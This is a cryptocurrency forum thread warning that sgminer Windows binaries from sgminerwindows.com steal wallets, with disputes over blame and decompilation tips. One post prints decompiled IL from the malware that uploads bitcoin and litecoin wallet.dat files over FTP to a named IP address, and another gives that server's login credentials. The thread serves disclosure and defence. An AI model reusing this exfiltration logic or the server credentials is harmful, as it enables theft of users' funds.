Topic: ALERT! sgminerwindows.com Stealing Bitcoins! (Read 13587 times)

ok thanks I see that above. How to setup X11 I didn't see kernel for that?

Here you can download trustworthy windows/linux sgminer and cgminer binaries: https://www.nicehash.com/software/#sgminer

where I can download clean of viruses miner which is compilled for x11 and x13?

That's it. I am NOT gonna trust this shit until I hear differently about CLEAN and dependable files with FULL and EXPLICIT clearance. This is so bad.

Here you can download trustworthy windows/linux sgminer and cgminer binaries: https://www.nicehash.com/software/

To difficult for average user. I have no idea how to do that kinda shit, just instal and launch, that is the only way to go! 

Never ever use precompiled binaries of altcoins, always check the code on github first. Any closed source altcoins can not be trusted either.

@chnchapters: Don't forget, thanks.

I'm trying to decompile the shirecoin-qt.exe (not sure if possible).
chnchapters said he saw the code, and that it steals the wallets like the miner.

What type of file are you decompiling, IDA wont identify the entry point of several different files and only break them down to hex.

Sure, when you can.

I'm using idaq.exe (i guess that's the program you mention).
I selected the shirecoin-qt.exe and let it analyze it (with default options), but when I tried to go to pseudo code, it told me "decompilation failure"

If I choose binary --> processor type Microsoft - net.
Then it says it can't identify the entry point.
And I get to see hex crap. Can't view pseudo code mode.

Well, first time using this program, so maybe there's some trick.
Thanks.

I used HexRays/IDA
I can show you exactly how I did when I get off work,
the tainted SGminer programs, and Shire coin both use the same ftp server where the stolen wallets were being up loaded.

How can I check that?
I downloaded that qt some time ago, so it probably stole my encrypted wallet.dat (haven't lost coins, but still want to know if I should consider the wallet compromised)
I tried decompiling it, but it says it isn't a .net program.
What did you use to view the code? Thanks.

According to LiteSaber, the tainted code was in the most recent binaries which were linked from another site (minersforwindows.com)

So is it confirmed that the tainted code was only in recent builds?  If so, how long ago did it happen?

I have the domain now.  I will be downing the site until the new binaries are available with an explanation of what happened.

Just for future reference.

I've handed over control of the sgminerwindows.com domain / website to flound1129

Hopefully he has more time to keep it all up to date than I did.

From my simple investigation if would seem its a non persistent threat, as seen in the code back in the thread.

It basically looks for common wallet files and uploads them to a FTP server each time its run.

So encrypt your bloody wallets always.

their all set manicious malyware update virus.
you should check your device.

If you read on site he is not compilled latest version of sgminer but he downloaded it from here
http://minersforwindows.com/

Actually this site is with malware sgminer

if it was me I would do a clean install of windows as these things trend to write to other directorys besides the sgminer or wallet one etc.    think of it as normal malware it can write it file in a number of different directory's   and it a pain in the ass to fully get rid of etc

Does anybody know if that sgminer install some malware on computer and will still steall money from wallets after you remove it from computer or that does just sgminer itself so I don't need to reinstall windows but only remove sgminer?

Sent you a PM, I'm willing to take this over.

Yeah i fucked him up a little. Must have uploaded at least 10GB of binary 0's and 1's.

He got smart:

Disconnected from server
Connection failed.
No connections allowed from your IP

Hahahaha.

Hey guys! sorry to hear what happened! this is ridiculous! It happened to me with another file I tried to download. The file file was the zipcoin-qt and it was designed to steal wallet.dat the exact way that this is...
Check out the thread https://bitcointalk.org/index.php?topic=721306.260 it took a few of us who were scammed a while to convince everyone but I think they believe it now

Damn scammers, they are everywhere I go 

Sorry guys, just saw messages someone sent me on IRC.

I've gone ahead and removed the download links from sgminerwindows right away.

Previously I compiled all versions myself and these were 100% clean i guarantee. But the last update was done away from my computer (on a family vacation) using pre-compiled binaries from minersforwindows.com because I was getting heaps of messages from people to update with the latest beta version.

Stupid move on my part it seems. That'll teach me for being lazy and not just installing what i needed to compile onto my laptop.

In the spirit of keeping the site going (in the right hands) If there is a known trustworthy person here that would like to take over the website from this point on, I will happily give you the website's files and push the domain to you free of charge (you will need a namesilo.com account).

It's already ranking #1 in google for many sgminer terms so I would rather not see the site go to waste. But I just do not have the time to keep it updated.

Also, if you don't believe me. Go and check out minersforwindows.com and scan their versions. They do many more versions that i never added to my site thankfully. They also do other mining software.

It sucks for anyone who got scammed with this. I will be uploading lots of dummy 100mb files to that server just for lolz.

Hes a member on here :
https://bitcointalk.org/index.php?topic=719526.new#new

Nice, Im in the chatroom posting this asking how come both vertsquads guide and coinhuntr's guide link directly to it but the chat rooms are dead
Hes in both chatrooms, feel free to send him messages,  I am

The guy who built these binaries is: http://www.reddit.com/user/LiteSaber

According to his post history he also runs VertSquad.com and CoinHuntr.com.

It's also possible the site could have been compromised by someone else who uploaded the trojaned binaries.

I've filed a report on Google's safe browsing site and I suggest more people do the same.

https://www.google.com/safebrowsing/report_badware/

The site is still the #1 hit on google for "sgminer windows".

Multipool has removed the link to this site as well.  Pretty sad that something that was originally legit is now being used to scam people.

good to know that. im scared since last incident that why i dont mine in your pool, well i will try to get some blackcoin for hoarding.

The scammer here has other versions of SGminer that contain the hidden script, I can point the code out there as well.
He is also the creator of Shire Coin, which is a scam because it uses the same code to steal coins if you
download the wallet.

The program I used is called IDA / hexrays
check it out,

I gathered a lot of stuff actually, I saved each step we did along the way..

the problem is solved guys titled changed, the next time i will take more carefull, so sorry for all involved in this fact.

no offence but your line above looks like extortion.
you should change title and wait for their decision.  I don't think they are responsible for mess done on your side.

If it's down to money in don't trust anyone. beside they said you wasn't mining with them.

always encrypt wallet or use paper one as cold storage.

Are unencrypted wallets really that common? I thought it was common practice to encrypt everything.

That is a really nice decomplier. Nice find, I warned the ADN thread.

Looks like a nice decompiler, I'll have to check it out.  I always use IDA though I mostly decompile android software.

The app was written using .net so I used telerik justdecompile.

Blooming great it is and its free.

http://www.telerik.com/products/decompiler.aspx

Also

http://www.telerik.com/fiddler

for web app spying and spoofying.

Interested to know what you gathered.

And BTW, what program are you using to reserve engineer the miners and get such a clean code?

Google can send you to websites with virus links, is that Google's fault? No. They may recommend the service, the service may even have worked perfectly legit until a week ago, but you should still have done more research before acting so blindly. Anyone who has been using bitcoins longer than a week knows not to download ANYTHING which could take your wallets.

Sammir, always apply a password to encrypt your hot wallets.

i send you some messages without responde, i will change the title when i get my coins backs.
after all i was infected through blackcoinpool i hope you guys take the right decision reimburse my coins.

maybe because i just trust in localbitcoins? and blackcoinpool? who is redirect to a virus?

btw still i dont recive nothing guys

K1773R how long did it take for you to become a prize cunt?

must be hard to only being able to download binaries (*.EXE) and having to trust them

why do you cry about stolen/lost coins by viruses/fakes if you do this and if you use winblows in combination? after all its your fault.

change all your password . investment . bank . data . account . just  worry someone in your pc and trying to set keylogg hidden with fud . full undetectable virus .

Create a new wallet.dat, encrypt it and transfer all your funds there, so this doesn't happen again.

thanks i really appreciate your gesture of goodwill

would be great get a refund really need those coins, i think its fine to change the title so people not confuse with the pool.

I agree the title should be changed.  I haven't had time to review the coding source code but I definitely wouldn't trust it for the time being.  It needs to be compiled and decompiled, updated and decompiled again. 

Since this is NOT blackcoinpools fault, can we get OP to CHANGE the title of this thread please? I'm more than happy to reimburse if it wasnt done already.

thanks fucking god, now all stupid guys think i was a fucking joke, can send me some coin back, thanks bossis for your job. i think too many people are infected with this be carefull guys.

The binaries seem okay, I doubt the host of that website owns that github.

edit... best to look through the binaries a lot more before commenting one way or the other.

edit...  that's a fork from the original sgminer-dev/sgminer so its definitely possible

Confirmed

We're gathering all the necessary information and evidence right now.
Suspect that the person compiling binaries for SGMiner (www.sgminerwindows.com) was trying to pull a fast one.

Didn't look into the ip, thanks.  Didn't look into his block chain transactions though somebody should.

212.48.76.120 is hosted by http://www.webfusion.co.uk/


Edit:

By the way, look at this
https://bitcointalksearch.org/topic/ann-scn-shirecoin-mine-for-tolkien-659306

Its not a admin account you cant view folders or files.  Using the mozzilla ftp its quite possibly his home ftp server though.

Someone must have fixed up those links on blackcoinpool.com. I know for a fact that those were working correctly about 7 weeks ago when I downloaded the miner and it pointed to the correct site.

Edit:
Nvm, should have read on to page two. If this is all true than god knows how many people are affected by this. I do however still have a version of sgminer on my system and I highly doubt this has ever sent anything out to a 3rd party such as an ftp.

Edit 2:

Wouldn't this mean any of us could log-on to that ftp right now  and snatch any dat files that might be there?

Its not even the miner, has no mining code in it.  Just uses some basic ftp commands and sends the wallet.dat files to the above listed ftp.

It is hard for the pool operator monitor 3rd party link.
They might be virus free when being check by the pool operator, and get changed the next moment

If that is true, wouldn't that be the miners fault, rather than Blackcoin?

Sorry I cant screenshot without the 2nd monitor window half.  Its in the getting started windows miner link, sgminerwindows.com the 4.4.2 miner download link.  Should be able to click the image and click the magnifying glass in photobucket to blow it up.  The file in the zip titles sgminer.exe and is 383kb

Please due, I am NOT OP!  If you run the pool you should take the compliant seriously,  here  is another another screenshot of the file taking apart.  Not taking from your site, FROM YOUR GETTING STARTING WINDOWS MINER LINK!!! 

Oh you meant the link to download the SGminer...
I thought you meant the link to Sgminer's website from our pool...

The picture is still not expandable and unreadable, Im going to investigate as well...

This does not change the fact that it is not blackcoinpool.com or anything to do with Black Coin, and if true, something that we thank you for pointing out.

You are now backtracking and changing what you said...

Origanally you stated that you downloaded SGminer4.x and took it a part to find the "code that steals BTC"

Now we post github of SGminer and you say it is in the link? What?

Are you just trying to trick people who do not know anything about code or mining into FUD?

Fine I'll do all the work for you guys, the linked code in github is obviously not the code the bad link!   Here are some code samples from the file :
 call     string [mscorlib]System.String::Concat(string, string)
    call     class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.Directory::CreateDirectory(string)
    pop
    ldstr    "http://ftp://212.48.76.120/"
    ldstr    "medusaminer"
    ldstr    "barkleys"
    newobj   instance void ftp::.ctor(string hostIP, string userName, string password)
    stloc.1
    newobj   instance void [mscorlib]System.Random::.ctor()
    stloc.2
    ldloc.2
    ldc.i4.0

    nop
    ldloc.0
    ldstr    "\\bitcoin"
    call     string [mscorlib]System.String::Concat(string, string)
    call     bool [mscorlib]System.IO.Directory::Exists(string)
    ldc.i4.0
    ceq
  ldstr    "\\bitcoin\\wallet.dat"
    call     string [mscorlib]System.String::Concat(string, string)
    callvirt instance void ftp::upload(string remoteFile, string localFile)
    nop
    nop

loc_B8C:                                // CODE XREF: Upload+A6

    ldstr    "\\litecoin\\wallet.dat"
    call     string [mscorlib]System.String::Concat(string, string)
    call     bool [mscorlib]System.IO.File::Exists(string)
    ldc.i4.0
    ceq
    stloc.s  8
    ldloc.s  8
    brtrue.s loc_C14
    nop

screenshot because I know you don't believe me :

I run www.blackcoinpool.com

https://github.com/veox/sgminer <<< if you took it apart, you would have no problem pointing it out in the code.

sgminer is not required to use Black Coin Pool, it's just a common mining software that people use, so we posted up a tutorial.
If some one posts some viable proof, other than "I did it, believe me" I will gladly remove any mention of SGminer from the pool.
But out of the thousands of people that have used the pool, and the thousands upon thousands of people who use SGMiner, only you seem to be "getting hacked."

No proof of anything other than showing a transaction from a wallet, and then posting your address asking for donations while deleting posts from this forum.

Again here is a link to virus scans:
https://www.virustotal.com/en/file/f993b578fa9e715f1fee5063b31b2c16686e26774771f98cf2850600bfc29ef5/analysis/

I also have gone out of my way to contact this person and email them and get a hold of them
They just quit IRC or won't respond

And even if, hypothetically, Sgminer had a virus, that is not as the title claims Blackcoinpool.com

I would highly doubt that.  

What virus do you have.  If it was an infection it should be detectable.  How did it steal 10 wallets.. sounds like a keystroke cap. virus..

No a lot of proof here to me.  

I like clambakes.. but never have went to them or can eat clams.. is that true.. ?

Has never mined with Black Coin Pool...

Hes not a troll, as I said I took reverse engineered the file and it is definitely a wallet stealer.  Blackcoinpool.com links directly to the site for a windows miner in getting started.  If your sure he is a troll download the windows miner and run it, then lose all of your wallets. 

The title to this thread is misleading and wrong.

He is claiming SGminer stole his BTC, not the pool

He has never mined on the pool before.

SGminer is a seperate website than BlackCoinPool

Biggest altcoin multipool in existence installs a virus to steal users bitcoin.  One person complains while asking for donations to get back on his feet.  Seems legit.

https://www.virustotal.com/en/file/f993b578fa9e715f1fee5063b31b2c16686e26774771f98cf2850600bfc29ef5/analysis/



He is also in here asking for BTC

This is a troll and just causing FUD

All you showed was a BTC transaction...

The miner you downloaded had nothing to do with Black Coin.

I run the pool for Black Coin and this person has never mined with us, he posted in IRC and i tried to help him and he quit.
I took it upon myself and searched for his username to find an email and emailed him trying to see what the issue
was.
Within thatt 5 min he had a post on this thread.

This is FUD and a troll.

He had the same exact thread with multiple talking and he deleted it cuz he was discredited

There were like 10 posts deleted in this thread
this is a troll...

Keep away from pools that use it, most likely involved in other nasty's like block skimming if they are giving out a wallet stealer.

may be its paid link or some ad arrangement

Its definitely a virus and steals around 10 wallet files ....  I took apart the windows 4.2.2 wallet.

yes bro, i was the only stupid shit i've download on my computer, NEVER i had any situation like this before.

always compile from source is the best solution.

http://www.sgminerwindows.com/  is being linked by many people. Didn't know that that is a scam.

if it is a virus, lots of people would be affected
http://www.reddit.com/r/dogecoin/comments/20h68h/released_windows_builds_of_the_new_sgminer_41153/
http://www.reddit.com/r/litecoinmining/comments/20fsdz/released_windows_builds_of_the_new_sgminer_41153/
https://bitcointalksearch.org/topic/m.6226521

I tried doing a quick search in bitcointalk and realize lots of pool is linking to that site

https://www.multipool.us/help.php

Multipool.us advises miners to go to www.sgminerwindows.com as well. Is Multipool.us scamming and stealing people's bitcoins?

yeah i know bro i was so stupid on me i was not paying attention....and im very sad about it if someone want to help me a little this is my new btc adress 1HwERQLFH4wxHiikQkbP899YEhhB7tFHN 

Never use a pool that requires you to use there own software, or software they advise to use. Keep with what is known, if there pool does not work with the known trusted mining software, do not use that pool.

Actually that software steals your bitcoin, litecoin, dogecoin, auroracoin +++ many more and uploads the wallet files via ftp.  So they have all your wallets.... I reverse engineered the file and it was formerly known as the mudusaminer which ripped people off.  The wallets are sent to http://ftp://212.48.76.120 with the login credentials "medusaminer" password: "barkleys".

no problem just take care with this site http://www.sgminerwindows.com/

That is bitter.

Thank you for warning us and fuck those asshats

sorry to hear that man. make sure you reformat your pc.

hi guys, my history start yesterday when i was trying to find some good miner for blackcoins so I go to the best known pool of this currency blackcoinpool.com the website looks profesional but see where are the trick here.



when you download that miner nothing happens, an hour later i go to my btc wallet and there is my surprise!

i think these miner are something in autoit that sends all my btc to a particular address, the rarity of this none of my antivirus detect nothing.
here the transation https://blockchain.info/address/1CY4DWVwBjiVxicUH8w2UHgcHvPEBqokZ2?sort=0
and here are my btc right now. https://blockchain.info/es/address/14DQtdeQYcvUALxVYacnewBAMpHko4i2GF
so guys take care with this site.
 

after an arduous investigation, we discovered that blackcoinpool.com had no interference in fact, rather sgminerwindows.com, so we duly notified users to be very careful with that website.